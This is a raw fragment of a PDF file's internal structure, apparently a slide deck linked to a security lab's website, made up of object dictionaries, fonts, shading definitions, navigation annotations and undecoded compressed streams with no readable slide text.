/Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F53 154 0 R /F15 155 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 152 0 obj << /Type /Page /Contents 153 0 R /Resources 151 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 90 0 R /Annots [ 125 0 R 126 0 R 127 0 R 128 0 R 129 0 R 130 0 R 131 0 R 132 0 R 133 0 R 134 0 R 135 0 R 136 0 R 137 0 R 138 0 R 139 0 R 140 0 R 141 0 R 142 0 R 143 0 R 144 0 R 145 0 R 146 0 R 147 0 R 148 0 R 149 0 R 121 0 R 122 0 R 123 0 R 150 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 153 0 obj << /Length 3030 /Filter /FlateDecode >>stream x\Ys7~ׯ} [\IeK݇>%"(:ɿ1rH[X4@>`&9oxz\\\?7JiLH\O7kJ g^(᪄ծ EGƁ(้S&8F)nj LKLf{?\r>kfh-v"H,9ID#b*3mFfKWP7o 6ᙴ tRJ}2m75zț`CfO3`!fDe(f@rΤNOxbWWY|-R~ޛ-Bs" WdS!8o9t$X{P| S7 X99w҉}E<g.idn`> ,7>Õi%u->7}On mYSWn姭䳜5/p |<|πAEZ˅ X9F!,z }㹠%&}eR$y/-@ ,}IgFCsk4JC?5SSf0orH`h$1tuDn+ &|2Vd6JKaVPxMYe{v687 I8IJh*m* 8*U%5j<{ ȑN$( <ܭ w0*0+5>T{p,wl7E""ag`Ipwp(q|Op |fambp[F[Fs,~O[Pn8_[5rqPAGsD8!C/qx?Ou4L;6O^nѧoІLlؐ^1A%C ͖nzP!m>. f BBЍH!~OfTw OHog00uWLq5 u.--鶑u`#`vQ8eܯ'͞B-QL:AU{$N`qoXOzAi,m,4 >qݼTE0{uيZ-ΔR[CNA &fo\>D&=Y#yIABλ]zͮ6͋9)܍,3hBmr6bU/ a`pQ6mn~ؐ9)-rs)i7Lgw !B%:Ui)!`iײH[,@H_xF{ Z6;!q"ǴwUU/HՋJ5 bȮTaP6}RRj~`Rl6@:?{aI E 'jXv;,^X4w%W)fHѬ↫hw,N~ ӈg:TsU%/ĺ*w,qV;iEeehZ >'N1/hH2W@( v\Bl 9q͸)_q$EqC}+$Ɓnm[8ɯ5F~%2;3Cx[Ge .p^."G<a䋝M7";aU~tb,3I9WȶHin%pi7\!FI}d endstream endobj 154 0 obj << /Type /Font /Subtype /Type1 /BaseFont /IACVDB+CMSSI10 /FontDescriptor 1271 0 R /FirstChar 45 /LastChar 119 /Widths 1252 0 R >> endobj 155 0 obj << /Type /Font /Subtype /Type1 /BaseFont /TGREJZ+CMSS10 /FontDescriptor 1261 0 R /FirstChar 11 /LastChar 122 /Widths 1251 0 R >> endobj 156 0 obj << /D [ 152 0 R /XYZ 334.488 1.245 null ] >> endobj 157 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 1 ] /Coords [ 0 0 362.8394 0 ] /Function << /FunctionType 2 /Domain [ 0 1 ] /C0 [ 0.99178 0.81334 0.31647 ] /C1 [ 0.98825 0.73334 0.02353 ] /N 1 >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 158 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 3.9851 ] /Coords [ 0 0 0 3.9851 ] /Function << /FunctionType 3 /Domain [ 0 3.9851 ] /Functions [ << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 0.99707 0.93333 0.75587 ] /C1 [ 0.99707 0.93333 0.75587 ] /N 1 >> << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 0.99707 0.93333 0.75587 ] /C1 [ 0.98825 0.73334 0.02353 ] /N 1 >> ] /Bounds [ 1.99255 ] /Encode [ 0 1 0 1 ] >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 159 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 2.34438 ] /Coords [ 1.52634 3.34418 0 2.34438 2.34438 2.34438 ] /Function << /FunctionType 3 /Domain [ 0 2.34438 ] /Functions [ << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.85236 0.85353 0.89471 ] /C1 [ 0.26178 0.26765 0.47354 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.26178 0.26765 0.47354 ] /C1 [ 0.01099 0.01646 0.20863 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.01099 0.01646 0.20863 ] /C1 [ 0.00784 0.01176 0.14903 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.00784 0.01176 0.14903 ] /C1 [ 0.99707 0.93333 0.75587 ] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 160 0 obj << /Producer (Mac OS X 10.5.7 Quartz PDFContext) /CreationDate (D:20090525122120Z00'00') /ModDate (D:20090525122120Z00'00') >> endobj 161 0 obj << /Type /ExtGState /OPM 1 >> endobj 162 0 obj << /Length 3542 /Type /XObject /Subtype /Image /Width 103 /Height 104 /ColorSpace 165 0 R /BitsPerComponent 8 /Filter /FlateDecode >>stream x\v8 ̝rwʝN!!H,\=C  o!0FW.ߟ{ ].c)tJ?Vh< [_0*Xa"_I].~z@<VB5F Z1c_=%V.{w']+`碟g.×\ .9(wջX !Wxq"nJ@Ĵ9oa9S9K* ջ,bh^JAWNsb@ dEJjπK &i{6 ҦB @ɹf^%v.0ǐD!W (%>XףX8C/t֊6NɊd 8wjrK̏s &[_$DRyZ_+ a=$.=npߔk{i˖DU_w||':@AVƊ%wĒUCKXm.9;m,WD8lƳ F^uV:Sv$gb1`f]M[6IVNRmݙ Bmu2n֣1 S[lt\ǐ&:)q{Wi'+3/CWm33ݦb";ZeߊĽy ®4cgdܸ efGpIh)tO#)LHdcM3L&5?x)Dj9~z|MAوb/l sq[Jn_0D;gHE4sgij >>Ο:_bQ̡Z^1 J3ª! Yi! X^IjOO }A5pcK*\ vSR2$/:O J٫#&,NJ뽼2GASm9ħVyUjpaBXނf%]@u wXȥl8>tG^sq8E<_l>ĥ.z;^EgwA٬&PWR Xe=?dH:E7 i8@1ҷ4(ڵu'oNR߮Wn6v o}0xm4@ok }2;LPO6Y}zM;ɞ[,? tԮ(Y'KҍbA vC۩{:kmv+6X nB3R;fVg.6JO?}79N8NiFfnQHKQFo3sU9ot.'`$\&?u`܎efd_$FYíͲ^8CFa]@6@QHdN4%}=_r_ߟQnb(-/]113#\Wf7HRum420HD'r]{32| wјY27Q#w7,/!2`KsٯHD*vS}O9Z/~/caQSg@;ڴtѷx4 Gh4Nu0=~(9"RG0-OCfEuPmK~U9I#eja=U=w]GGBKrGo {ts:q7qܫbi'Dq~m X߉:k!j- sAFLq2I0PZQ"̧ p24Q]~ }=I̯5idi٢eʘd۶BGPp>;Q ƸbOeD%9/2ahP&2a88e^5@.<[@b gaK/٨~L =my1ȍƊB,vl1odM) rxk] :byxLN,yFrήu,YX>4! }=ڙY푯y\!]czInb42QS Z6ٌ؄f#;#w - ńW&L^Q뺣NP%`G)6#縣u6b58aķ*h&VR{Rt!^ŞwߨiT!@`1J28M?#bXMl3Õ:V,wK]r{^:0*Ѳ=[m SuNEb`6$`#Vk 3k[ˁrͬ']ɜ|/`Ī4z|$r3߂N'7~L^RЧ2zw!KC? m. endstream endobj 163 0 obj 68 endobj 164 0 obj 3542 endobj 165 0 obj [ /ICCBased 166 0 R ] endobj 166 0 obj << /Length 792 /N 3 /Alternate /DeviceRGB /Filter /FlateDecode >>stream xMHaї$T& R+SeL b}wg-E"u.VDNC:DuE^";cT03y|URcE4`λޘvztLUF\)s:k-iYj6|vP4*wd>,y vڴ=S԰79 ڸ@`ӋmvUl5`P=Gj)kP*}6~^/~.~a2 nײ0%f|U 9l7?j`l7"tiNf]?uhgM Zʲ4i[&LY_x {xO$̥߬S]%֧&7g̞>r=g8`候 8rʶ<dWT'<eL~.u"A=9뗚]>313X3-$e}u,gmg664$ыEzL*LZ_j_]Xy[?Xs N/ ]|msϚƫk_WfȸA2)oz-di2|m٣j|5ԥej8ɮeE7[Q|IM%ײxf)|6\ k`Ҳ䍐.> endobj 169 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 4.689 4.689 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 207 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 170 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 3.778 3.778 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 208 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 171 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 5669.291 3.985 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 209 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 172 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 5669.291 8 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 212 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 173 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 8 8 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 210 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 174 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 16 16 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 211 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 175 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 4.689 4.689 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 213 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 176 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 177 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 178 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 179 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 180 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 181 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation3) >> >> endobj 182 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 183 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 184 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 185 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 186 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 187 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 188 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 189 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 190 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 191 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 192 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 193 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 194 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 195 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 196 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 197 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 198 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 199 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 200 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 201 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 202 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm8 169 0 R /Fm9 170 0 R /Fm10 171 0 R /Fm12 173 0 R /Fm13 174 0 R /Fm11 172 0 R /Fm14 175 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 203 0 obj << /Type /Page /Contents 204 0 R /Resources 202 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 90 0 R /Annots [ 176 0 R 177 0 R 178 0 R 179 0 R 180 0 R 181 0 R 182 0 R 183 0 R 184 0 R 185 0 R 186 0 R 187 0 R 188 0 R 189 0 R 190 0 R 191 0 R 192 0 R 193 0 R 194 0 R 195 0 R 196 0 R 197 0 R 198 0 R 199 0 R 200 0 R 201 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 204 0 obj << /Length 2397 /Filter /FlateDecode >>stream xZKsWLrw9.)']q%dUQ02"yXP@1V*R3=MO?f5#x 5G佤MFT:hl_z;Awiz+5E {bTx@M"Pr^Sȳ#hOSU= q'd ʇU}@zrGt;n8uߥHrsI q'd`%y.oR{u1 }oH邤ϚW87*!QkŷGldY/*aC&&I1lhE0^W@slI?g5ǯnӈ8Z;7yTrNڞ*ߘ=ɚdd da{\4.vp>zyCn^h8ʁBt!v\=`tS)2M*L)O.Ș%&o12"R>[ȷoGyκFTL2F7$F>Fҥr8ѷSP{pS}>Ȱ;/$q粲_9*`I+#)]F0jFMfASNI(yj?d&x=BRW䞧mI0ZwJ!&.6_09-y'_Tos8GBlߚՔ47(~Ap+L_ "Ij Fҝ,:#ڒa1U^5ijZ乀10igԢL'1[Hʉ[Sl'`2Aja9ӡw5)c09#4r8#;x NGr1j_|8pZ~E  Ipn 5`,k1# !P:Jϱ.֕KwBA!3o}ƎE$hn=@M+.I4i:XъPZB0bx2D}-2]?)+D%_xN?U{ɾVtE+BqH%P?e1VWEAFaDCikx7Ż17mnݑoqg4NJ[b&95b>fQC5"8s-Ƒ2REbb \gW(Rxj]?fU7dY)O_dj(> endobj 206 0 obj << /D [ 203 0 R /XYZ 334.488 1.245 null ] >> endobj 207 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 2.34438 ] /Coords [ 1.52634 3.34418 0 2.34438 2.34438 2.34438 ] /Function << /FunctionType 3 /Domain [ 0 2.34438 ] /Functions [ << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.85236 0.85353 0.89471 ] /C1 [ 0.26178 0.26765 0.47354 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.26178 0.26765 0.47354 ] /C1 [ 0.01099 0.01646 0.20863 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.01099 0.01646 0.20863 ] /C1 [ 0.00784 0.01176 0.14903 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.00784 0.01176 0.14903 ] /C1 [ 1 1 1 ] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 208 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 1.8888 ] /Coords [ 1.23436 2.69772 0 1.8888 1.8888 1.8888 ] /Function << /FunctionType 3 /Domain [ 0 1.8888 ] /Functions [ << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.85236 0.85353 0.89471 ] /C1 [ 0.26178 0.26765 0.47354 ] /N 1 >> << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.26178 0.26765 0.47354 ] /C1 [ 0.01099 0.01646 0.20863 ] /N 1 >> << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.01099 0.01646 0.20863 ] /C1 [ 0.00784 0.01176 0.14903 ] /N 1 >> << /FunctionType 2 /Domain [ 0 1.8888 ] /C0 [ 0.00784 0.01176 0.14903 ] /C1 [ 1 1 1 ] /N 1 >> ] /Bounds [ 0.58167 1.16342 1.59972 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 209 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 3.9851 ] /Coords [ 0 0 0 3.9851 ] /Function << /FunctionType 3 /Domain [ 0 3.9851 ] /Functions [ << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 0.99971 0.99333 0.97559 ] /C1 [ 0.99971 0.99333 0.97559 ] /N 1 >> << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 0.99971 0.99333 0.97559 ] /C1 [ 0.99883 0.97333 0.90236 ] /N 1 >> ] /Bounds [ 1.99255 ] /Encode [ 0 1 0 1 ] >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 210 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 1 ] /Coords [ 4.00005 4.00005 0 4.00005 4.00005 4.00005 ] /Function << /FunctionType 2 /Domain [ 0 1 ] /C0 [ 0.95 0.95 0.95 ] /C1 [ 1 1 1 ] /N 1 >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 211 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 8.00009 ] /Coords [ 8.00009 8.00009 0 8.00009 8.00009 8.00009 ] /Function << /FunctionType 3 /Domain [ 0 8.00009 ] /Functions [ << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 0.95 0.95 0.95 ] /C1 [ 0.95 0.95 0.95 ] /N 1 >> << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 0.95 0.95 0.95 ] /C1 [ 1 1 1 ] /N 1 >> ] /Bounds [ 4.00005 ] /Encode [ 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 212 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 8.00009 ] /Coords [ 0 0 0 8.00009 ] /Function << /FunctionType 3 /Domain [ 0 8.00009 ] /Functions [ << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 1 1 1 ] /C1 [ 0.95 0.95 0.95 ] /N 1 >> << /FunctionType 2 /Domain [ 0 8.00009 ] /C0 [ 0.95 0.95 0.95 ] /C1 [ 0.95 0.95 0.95 ] /N 1 >> ] /Bounds [ 4.00005 ] /Encode [ 0 1 0 1 ] >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 213 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 2.34438 ] /Coords [ 1.52634 3.34418 0 2.34438 2.34438 2.34438 ] /Function << /FunctionType 3 /Domain [ 0 2.34438 ] /Functions [ << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.98523 0.98535 0.98947 ] /C1 [ 0.92618 0.92676 0.94736 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.92618 0.92676 0.94736 ] /C1 [ 0.9011 0.90164 0.92087 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.9011 0.90164 0.92087 ] /C1 [ 0.90079 0.90117 0.9149 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.90079 0.90117 0.9149 ] /C1 [ 0.99971 0.99333 0.97559 ] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 214 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 215 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation3) >> >> endobj 216 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 217 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 218 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 219 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation3) >> >> endobj 220 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 221 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 222 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 223 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 224 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 225 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 226 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 227 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 228 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 229 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 230 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 231 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 232 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 233 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 234 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 235 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 236 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 237 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 238 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 239 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 240 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm8 169 0 R /Fm9 170 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> 